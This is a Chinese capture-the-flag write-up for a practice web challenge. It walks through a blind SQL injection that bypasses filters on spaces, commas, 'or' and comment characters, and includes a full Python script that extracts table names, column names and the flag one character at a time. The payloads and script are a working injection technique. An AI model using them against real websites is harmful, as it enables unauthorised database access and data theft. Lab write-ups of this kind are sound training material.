实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)

题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php

过滤和拦截了某些东西,我经过多次尝试,最终构造的是

1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1

其中过滤了一次or,所以information里的or要双写,substr中有逗号,所以mid代替,空格则用括号代替,/**/注释符不行是因为服务器过滤了*

服务器的sql查询当且仅当返回只一条数据时才回显you are in

(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)

的值要么为假0,要么为真1,由此便可猜解

写了个python脚本

(脚本中的爆破方法是一个个字符进行比对,其实为了提高效率可以写二分法,简便点就用这个方法,还有本来我的字符集只有字母数字下划线和逗号,但是猜解列名的时候发现不完整,所以手动判断了下(id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=),第三位是$这个字符,才在字符集里加了这个,遇见问题要灵活判断,当然这也是因为我脚本写的烂 /笑哭)

 1 # -*- coding: utf-8 -*-
 2 import requests
 3 
 4 strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 5 
 6 url='http://ctf5.shiyanbar.com/web/earnest/index.php'
 7 
 8 headers={
 9     'Content-Type': 'application/x-www-form-urlencoded'
10 }
11 
12 #fiag
13 def func1():
14     result=''
15     for index in range(1,1000):
16         for i in strall:
17             data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i)))
18             print data
19             r=requests.post(url=url,data=data,headers=headers)
20             if r.text.find('You are in') >=0:
21                 result+=i
22                 print result
23                 break
24             elif i=='9':
25                 print result
26                 return
27 
28 #fL$4G
29 def func2():
30     result=''
31     for index in range(1,1000):
32         for i in strall:
33             data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i)))
34             print data
35             r=requests.post(url=url,data=data,headers=headers)
36             if r.text.find('You are in') >=0:
37                 result+=i
38                 print result
39                 break
40             elif i=='9':
41                 print result
42                 return
43 
44 
45 def func3():
46     result=''
47     for index in range(1,1000):
48         for i in strall:
49             data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i)))
50             print data
51             r=requests.post(url=url,data=data,headers=headers)
52             if r.text.find('You are in') >=0:
53                 result+=i
54                 print result
55                 break
56             elif i=='9':
57                 print result
58                 return
59 
60 
61 
62 #func1()
63 #func2()
64 func3()
65 
66 
67 raw_input('done')

网站访问速度慢点话,猜解这个是真的慢!!!

还是建议写二分法!!!

原文地址:https://www.cnblogs.com/leixiao-/p/9780298.html